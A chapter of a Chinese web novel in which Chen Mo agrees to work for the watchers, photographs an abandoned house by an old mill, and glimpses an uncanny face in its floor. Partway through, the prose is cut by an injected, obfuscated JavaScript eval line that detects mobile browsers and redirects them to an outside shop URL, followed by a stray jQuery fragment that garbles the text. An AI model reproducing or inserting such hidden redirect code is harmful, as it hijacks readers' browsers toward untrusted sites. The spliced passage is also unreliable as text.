第五章答复
那一夜他没有合眼。
不是失眠的那种焦躁——身体不困，精神不散，就是单纯地不需要睡觉。他靠着墙坐了一整夜，把那本书从第一页翻到第五页，再翻回去，来回看了三遍。第一页的自己，第二页的警告，第三页的布娃娃，第四页的钟楼，第五页的路和门。每一页都比前一天多了一点细节——第一页那团墨迹的边缘散开了，像是什么东西在往外渗透；第四页钟楼的圆形彩窗上新添了一道裂痕，斜着穿过玻璃。
他合上书，把天亮之前的时间用来想一件事：他该怎么回答联络人。
答应值夜者的条件是成为编外人员，配合调查，接受稳定的注射和观察。好处是能出去，能自由走动，能接近那栋房子。代价是值夜者会看着他，他查什么、去哪、见谁，都会被记录。他读过的那些剧情和情报也不可能毫无原因地往外说——一旦他说出什么本不该知道的东西，值夜者会立刻把他当成比"失忆非凡者"更大的威胁。
不答应的话他还在牢房里，三天一次注射，洗衣妇在门口等着进不来。□□说的那些信息他知道但用不上，第三页那栋房子他知道在哪但到不了。
天亮的时候他站起来，对着走廊喊了一声："给我答复了。"
灰制服比他预想的来得快。像是早就站在拐角等他这句话，脚步声刚落就到了牢门前。他被带去那间屋子的时候联络人已经在了，桌上有茶，没动过，烟从杯口往上飘。
"想好了？"联络人问。
"我答应。"陈默坐下来，"编外人员，配合调查，接受注射和观察。"
联络人点了点头，像是早就猜到这个答案。他从桌子底下拿出一个牛皮纸信封推过来，里面有一沓纸，最上面是一张表格。"签字。你的名字写科尔就行，你不用想起来，手写能识别就行。"
陈默拿起笔。笔尖落到纸面上的时候他停了一下，然后签下"科尔"两个字。笔画不顺，像是这具身体的手指不习惯写这个名字。他放下笔，联络人把表格收回去看了一眼，没有评价字迹的好坏。
"编外人员的第一件事，"联络人把表格收进信封，"是完成一次外勤勘验。不会让你碰危险的东西，就是去一个位置做记录，拍照，回来写报告。今天下午出发。"
陈默心里动了一下。"去哪？"
"河下游。旧磨坊附近有一栋废弃的房子，值夜者接到过几次附近的异常报告。你去确认一下有没有人近期进出过的痕迹。不用进去，拍门锁和窗台就行。"
旧磨坊附近。那栋房子。陈默坐在椅子上没动，脸上没有任何表情。联络人说的位置就是□□描述的那个地方——红砖房，深绿色的门，铁环把手。值夜者已经注意到它了，但还没有深入查过。他们派一个编外人员去拍几张照片回来，确认"有没有人进出过的痕迹"，这听起来像是一次试探。试探他，也试探那栋房子。
"下午几点出发？"他问。
"灰制服会带你去。午饭之后。"
陈默站起来往外走。走到门口的时候他回过头问了一句："那栋房子，值夜者之前查过吗？"
联络人端起茶喝了一口。"查过一次。去年夏天。什么都没发现。"他把茶杯放下，"但你问这个干什么？"
"随便问问。"
他走出屋子，跟着灰制服往回走。回到牢房之后他坐下来把那本书掏出来翻到第五页。那条路，那栋矮房子，深绿色的门。画面右下角那行字还在："明天之后，门会开着。"
今天下午他就要去那栋房子。时间正好卡在"明天之后"这个节点上。如果书说的没错，那栋房子今天会处于一个开放的状态——不是物理上的门锁开了，而是某种意义上的"可以进去"。他只要抓住那个时机，就能看到上一次值夜者没看到的东西。
他对着墙壁低声说了一句："瓦伦。"
隔壁应了一声："嗯。"
"下午我要去那栋房子。"
瓦伦沉默了几秒。"值夜者让你去的？"
"他们说让我去拍几张照片，确认有没有人进出过的痕迹。"
墙壁那边传来一声很轻的呼吸。"他们试探你。"
"我知道。"陈默说，"但他们让我去的地方正好是我想去的地方。"
瓦伦没有再说话，但陈默听见隔壁的床铺响了一下，像是□□坐了起来。过了好一会儿墙壁那边才传过来一句话，声音压得比平时低，像是只给他一个人听的。
"如果你进去了——如果你真的进去了——记住我跟你说的。别看地上那张脸。如果你看到了，别停留超过三秒。"
"三秒之后呢？"
"三秒之后你就不走了。"
陈默把这句记在脑子里。别超过三秒。□□三年前认识的那个人看了那张脸之后就变了，但瓦伦知道"三秒"这个界限——说明有人告诉过他，或者他自己试过。
"你以前进去过？"陈默问。
墙壁那边安静了很长时间。久到他以为瓦伦不会回答了。然后他听见那边传来一声极轻的回应，哑哑的，像是从喉咙深处挤出来的。
"我进去过。我没超过三秒。但我看见了。"
"看见了什么？"
"一张脸。不是画的，不是刻的。像是从地底下长上来的。"
瓦伦说完这句就不再出声了。陈默坐在原地，把那本书攥在手里，手指按着第五页那条路的画面。他今天下午要踏上那条路，走到那扇深绿色的门前。他不知道自己会看到什么，但他知道他进去了之后还能不能出来。
他把书翻开，翻到第六页。昨晚还是空白的地方已经有了新的内容——一根细长的针管，断成两截。针管旁边散着几滴深色的液体，像是墨，又像是血。画面左上角有一行字，笔迹比之前更急、更乱，像是赶在什么东西追上来之前写的：
"第三次之前，把事做完。"
陈默看着这行字。第三次注射。联络人说过一周三次注射，第三次之后看情况。他现在打了第一次，今天下午出去勘验，打完第二次之后就是第三次。如果这本书说的是真的，第三次之前他必须把那栋房子里的事情弄清楚——否则第三次之后他可能就没有机会了。
他把书合上放回口袋。午饭之前他会先确认一件事：那本书画的东西有没有错过。第三页画了布娃娃和地上的脸，他今天下午就会看到它们是不是真的在那里。如果第三页是对的，那第六页这句警告也没有理由错。
他靠着墙坐着，等着灰制服来叫他的那段时间。窗洞里漏进来的光从一面墙缓缓挪到另一面墙。他听见隔壁瓦伦翻了一个身，然后安静了下来。
午饭很快就来了。他三口两口喝完了糊糊，把碗放下，站起来等着。
没过多久灰制服走到铁栏前，手里多了一把钥匙。
"走吧，"灰制服说，"车在外面等着。"
陈默站起来跟着他往外走。经过瓦伦牢门的时候他侧头看了一眼，□□坐在角落里，脸朝着墙壁，像睡着了。但陈默看见他的后背比平时绷得紧，像是整具身体都在听走廊这边的动静。
陈默没有停步，跟着灰制服穿过走廊，上了几级台阶，推开一扇铁门。
阳光猛地砸在他脸上。
他眯了一下眼。好几天没看见太阳了，光打在他脸上、肩上、手上，暖的。他抬起头看天，灰蓝色的，有几朵云，很薄，风不大。廷根市的天跟地球的天看起来没什么两样，但空气里的味道不一样——有煤烟、河水、和某种说不清的潮气混在一起。
灰制服带着他走到一辆黑色马车旁边。车夫坐在前面，马车后面拉着一个空车厢，里面有两把折椅。
"上车。"灰制服说。
陈默踩着踏板上了马车，在折椅上坐下。灰制服坐到他对面，把车帘拉下来半截。马车晃动了一下，轮子碾在石子路上发出咕噜咕噜的声音，开始往城外走。
他隔着车帘的缝隙看着外面的街道。房子不高，砖砌的，墙面有的刷白有的露着红砖。路边有人走路，有人赶着板车，有个小孩蹲在门口画地上的线。这就是廷根市的普通街区——跟他读的那本书里的描述不完全一样，但那种日常感对得上。值夜者的存在、非凡者的暗流、那些藏在日常底下的东西，都在这里。
马车走了大概二十分钟，路面从石子的变成了土路，房子越来越少。他能闻到河水的味道了，湿的，带着淤泥和草的腥气。灰制服一直没说话，只是看着车帘外面，像是这条路他也熟。
马车停下来的时候，灰制服掀开车帘跳了下去。陈默跟着下来，踩到地面的那一刻脚底下传来的触感是松软的泥土。
旧磨坊的废墟就在前面，一栋灰扑扑的砖楼，屋顶塌了一半，露出发黑的木梁。磨坊旁边有一条小路，沿着河岸往下走，路的尽头有一栋矮房子，红砖墙，深绿色的门。
灰制服站住了。"就在那，"他指了指那栋房子，"你过去拍几张照片，门锁、窗台、墙根底下有没有新脚印。拍完回来。"
"你不过去？"
"值夜者说只让你一个人去。"灰制服的语气平平的，"东西在车上，相机和记录本。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17825133|211227||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
"
陈默走回马车边，从车厢里拿起那台相机和一本巴掌大的记录本。相机沉甸甸的，铁壳子冰凉。他把相机挂在脖子上，拿着记录本，沿着河边那条小路往那栋房子走过去。
路两边的草很深，踩上去能没过脚踝。他走得不快，每一步都踩实了再迈下一步。他的心跳在加快，但他的手是稳的。他数着自己的步子从磨坊到那扇门一共是四十七步。
门在他面前。深绿色的，漆面掉了大半，露出底下灰白色的木头。铁环门把手，锈了，锈得发红。门缝很窄，看不到里面的情况。
陈默站在门前没有马上动。他把相机举起来，对准门锁拍了一张。然后退后一步拍了全门的照片，又蹲下来拍窗台和墙根底下的泥土。泥土上有几道浅浅的印子，不像鞋印，更像是某种粗糙的底面拖过去留下的痕迹。
他放下相机站起来。
门是锁着的。瓦伦说"门是锁着的"，洗衣妇也说"门是锁着的"。但第五页那行字写的是"明天之后，门会开着"。
他伸手握住铁环把手。
铁环冰凉。他轻轻往上提了一下——
门开了。
没有锁。铁环提起来的时候门栓直接从槽里滑了出来，像是有人提前解开了锁，只是把门合上去伪装成锁着的样子。
陈默的心跳顿了一下。他把门推开一条缝，侧身挤了进去。
屋里的光线很暗。只有从门缝里透进来的一道光，照在面前几步远的地板上。他等了几秒让眼睛适应，然后看见了地板上的东西。
一张脸。人的脸，大小跟真人的脸一模一样，位置刚好在屋子正中央的地板上。不是画上去的，不是刻上去的——像是从木头里自己长出来的，五官分明，紧闭着眼，表情平静得像一个在睡觉的人。
陈默站在门边没有往前走。他看了一下那张脸，知道自己应该数三秒。
一。他看见那张脸的眼皮底下有一层很细的纹路，像是东西在皮肤下面蠕动。
二。他能闻到一种气味从地板上渗出来，甜的，像是花腐烂之后的那种甜。
三。他把视线移开了。
他把门推开更多让光照进来，扫了一圈房间其他地方。墙角有一个布娃娃，一只眼睛掉了，另一只眼睛直直地瞪着前方。跟第三页画的一模一样。
他没有走过去碰那个布娃娃。他站在门口，把相机举起来拍了一张地板上的那张脸的照片。快门声在空房间里响了一声，声音大得像打了一个雷。
然后他转身，拉开门，走了出去。
门在他身后重新合上。铁环落回原位，门栓滑进槽里，咔哒一声。
他站在门外深吸了一口气。河的腥味、草的味、泥土的味。他的手指在发抖，相机差点没拿稳。
他走回到灰制服身边的时候，灰制服看了他一眼，什么也没问。
"拍完了？"灰制服说。
陈默点头。
"上车。"
他踩着踏板上了马车坐下来，相机放在膝盖上。马车晃动了一下，开始往回走。他在心里把□□说的那句话又过了一遍——"三秒之后你就不走了。"
他没有超过三秒。但他看了那张脸一眼。那一眼之后，他脑子里多了一样东西——那张脸闭上眼的样子。它像一个人，但不像任何一个活人。像是有人把一个人的脸按进地里之后，留下了一个空心的人形壳子，而那个人本人已经不在了。
马车颠了一下，他的膝盖撞在相机铁壳子上，疼了一下。
他低头看着自己的手。手指还在抖。
他翻开那本书，想看看第六页有没有变化。第六页还是那根断针管和那行警告。他翻到第七页。
第七页是新的。
画着一只手，手指张开，掌心里放着一粒小小的东西，圆形的，像是一颗药丸。画的右下角有一行字，比之前的字都轻，像用指甲划上去的：
"吃了它。"
陈默盯着那幅画看了一会儿。吃了它——他到现在为止收到过这本书的所有信息：第一页告诉他"你是谁"，第二页提醒他"别信谁"，第三页画出他要找的屋子，第四页提示重要地标，第五页告诉他"门会开"，第六页警告他"第三次之前做不完就来不及了"，第七页让他吃一样东西。
他合上书放回口袋。马车还在往城里走，灰制服坐在他对面闭着眼，像是睡着了。
他看着车帘外面后退的田野，脑子里那张闭着眼的脸一直没走。
他知道他还会回去。
门还会再开。
第五章完